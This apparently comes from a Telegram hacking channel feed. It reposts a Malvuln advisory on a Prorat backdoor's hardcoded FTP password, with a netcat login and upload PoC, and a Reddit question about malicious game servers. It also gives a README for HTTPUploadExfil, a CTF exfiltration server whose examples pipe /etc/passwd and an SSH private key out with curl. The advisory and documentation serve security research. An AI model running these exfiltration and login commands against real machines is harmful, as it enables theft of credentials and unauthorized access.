Hacking Articles Tips Tricks Videos Tutorials
471 subscribers
65.9K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Backdoor.Win32.Prorat.ntz Weak Hardcoded Password

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Backdoor.Win32.Prorat.ntz malware suffers from having a weak hardcoded password.

MD5 | 3fb0ba1caadd89a260e0f9321907ffb2

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ab96d7f9e008a0774239be6be0c8e7bb_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prorat.ntz
Vulnerability: Weak Hardcoded Password
Description: The malware runs an FTP server on TCP port 2121. The authors handle "NeoKurD" displayed in the FTP banner response is reused as the password, just in lowercase. Moreover, the executable is packed with UPX and exposes the cleartext credentials when decompressed.
Type: PE32
MD5: ab96d7f9e008a0774239be6be0c8e7bb
Vuln ID: MVID-2021-0382
Dropped files: dxdiag.exe
Disclosure: 10/27/2021

Exploit/PoC:
nc64.exe 192.168.18.125 2121
220 Undetected by NeoKurD
USER neokurd
331 Password required for neokurd.
PASS neokurd
230 User neokurd logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,194,47).
CDUP
250 CWD command successful. "C:/" is current directory.
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
Is this is possible?

sorry if this is a stupid question, i dont know anything about hacking or servers
but lets say someone makes a server for minecraft (or any game) and they invite people to join
is it possible to send malicious stuff to the people through the server as you are the owner?
does the game client only listen to data from the server thats only related to the game?

submitted by /u/stebgay
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
HTTPUploadExfil - A Simple HTTP Server For Exfiltrating Files/Data During, For Example, CTFs

HTTPUploadExfil is a (very) simple HTTP server written in Go that's useful for getting files (and other information) off a machine using HTTP. While there are many use-cases, it's meant to be used in low-stakes offensive scenarios (e.g., CTFs). Think of this as python3 -m http.server but for getting data off a machine instead of on the machine. Obviously, this is a very loud and somewhat restricted way of exfiltrating data. Nevertheless, it's quite handy and somewhat easier than, for example, using SMB or FTP. If you are looking for something more elegant, have a look at, for example, dnsteal or PyExfil.TL;DR Build the tool using go build. Run ./httpuploadexfil :1337 /home/kali/loot on your machine. Access http://YOUR_IP:1337/ on the machine you need to exfiltrate data from. Find your uploaded files in /home/kali/loot. If you need HTTPs, look at the information below. Building and Developing While there are binaries available, it's absolutely recommended to build this on your own. This way, you will have the newest version, and you will also know exactly what you're running. The process is trivial: Simply run go build within the folder, and you should get an httpuploadexfil executable for your platform. If you make changes to the tool, remember to format using go fmt main.go. Usage The most common use case would be to run the server on Machine A. Now, on Machine B you access the upload form using a browser and select a file to exfiltrate. Of course, as you can see below, this can also be done using, for example, curl. Aside from uploading files, you can also use HTTPUploadExfil to exfiltrate data using simple GET requests. If a request is sent to the \g endpoint, the whole request will be stored to disk. Hence, you can exfiltrate data using the header of the request. It's easiest to use GET parameters (e.g., ?data=...), but there are other options. By default, HTTPUploadExfil will be served on port 8080. All files will be written to the current directory. ./httpuploadexfil You can also provide some arguments: ./httpuploadexfil :1337 /home/kali/loot The first argument is a bind address, the second one the folder to store files in. The tool will also expose the files in the loot directory under the /l endpoint. This can be used as an easy way to bring files onto the target. Endpoints The webserver exposes four endpoints for you to use: / (GET) is the upload form. /p (POST) takes the data from the upload form. It requires a multipart/form-data request with the file field filled. /g (GET) will take any GET request and store the full request on the server. /l (GET) will provide access to files in the specified folder (Directory Listing). This is to provide basic python3 -m http.server functionality. HTTPs Mode HTTPUploadExfil can also be used in HTTPs mode. To do so, simply place a HTTPUploadExfil.csr and HTTPUploadExfil.key file next to the binary. These can be, for example, generated as follows: openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csropenssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr If the servers sees a HTTPUploadExfil.csr file, it will try to start in HTTPs mode. To go back to HTTP, simply remove or rename the certificate files. Shell Using Bash, we can exfil data using GET via, for example: echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g Of course, we can also use curl to exfil files: curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p ToDo Implement an HTTPs version (Transport Encryption) Add download option (i.e., provide python3 -m http.server functionality) Download HTTPUploadExfil
Read more...

___________________________
@hacking_Attack
@Hacking_Video
HTTPUploadExfil is a (very) simple HTTP server written in Go that's useful for getting files (and other information) off a machine using HTTP. While there are many use-cases, it's meant to be used in low-stakes offensive scenarios (e.g., CTFs). Think of this as python3 -m http.server but for getting data off a machine instead of on the machine. Obviously, this is a very loud and somewhat restricted way of exfiltrating data. Nevertheless, it's quite handy and somewhat easier than, for example, using SMB or FTP. If you are looking for something more elegant, have a look at, for example, dnsteal or PyExfil.
TL;DR
Build the tool using go build. Run ./httpuploadexfil :1337 /home/kali/loot on your machine. Access http://YOUR_IP:1337/ on the machine you need to exfiltrate data from. Find your uploaded files in /home/kali/loot. If you need HTTPs, look at the information below.
Building and Developing
While there are binaries available, it's absolutely recommended to build this on your own. This way, you will have the newest version, and you will also know exactly what you're running. The process is trivial: Simply run go build within the folder, and you should get an httpuploadexfil executable for your platform. If you make changes to the tool, remember to format using go fmt main.go.
Usage
The most common use case would be to run the server on Machine A. Now, on Machine B you access (https://www.kitploit.com/search/label/Access) the upload form using a browser and select a file to exfiltrate. Of course, as you can see below, this can also be done using, for example, curl. Aside from uploading files, you can also use HTTPUploadExfil to exfiltrate data using simple GET requests. If a request is sent to the \g endpoint, the whole request will be stored to disk. Hence, you can exfiltrate data using the header of the request. It's easiest to use GET parameters (https://www.kitploit.com/search/label/GET%20parameters) (e.g., ?data=...), but there are other options.

___________________________
@hacking_Attack
@Hacking_Video
By default, HTTPUploadExfil will be served on port 8080. All files will be written to the current directory. ./httpuploadexfil You can also provide some arguments: ./httpuploadexfil :1337 /home/kali/loot The first argument is a bind (https://www.kitploit.com/search/label/BIND) address, the second one the folder to store files in. The tool will also expose the files in the loot directory under the /l endpoint. This can be used as an easy way to bring files onto the target.
Endpoints
The webserver exposes four endpoints (https://www.kitploit.com/search/label/Endpoints) for you to use: / (GET) is the upload form. /p (POST) takes the data from the upload form. It requires a multipart/form-data request with the file field filled. /g (GET) will take any GET request and store the full request on the server. /l (GET) will provide access to files in the specified folder (Directory Listing). This is to provide basic python3 -m http.server functionality.
HTTPs Mode
HTTPUploadExfil can also be used in HTTPs mode. To do so, simply place a HTTPUploadExfil.csr and HTTPUploadExfil.key file next to the binary. These can be, for example, generated as follows: openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr If the servers sees (https://www.kitploit.com/search/label/SEES) a HTTPUploadExfil.csr file, it will try to start in HTTPs mode. To go back to HTTP, simply remove or rename the certificate files.
Shell
Using Bash, we can exfil data using GET via, for example: echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g Of course, we can also use curl to exfil files: curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
ToDo
Implement an HTTPs version (Transport Encryption) Add download option (i.e., provide python3 -m http.server functionality)

Download HTTPUploadExfil (https://github.com/IngoKl/HTTPUploadExfil)

___________________________
@hacking_Attack
@Hacking_Video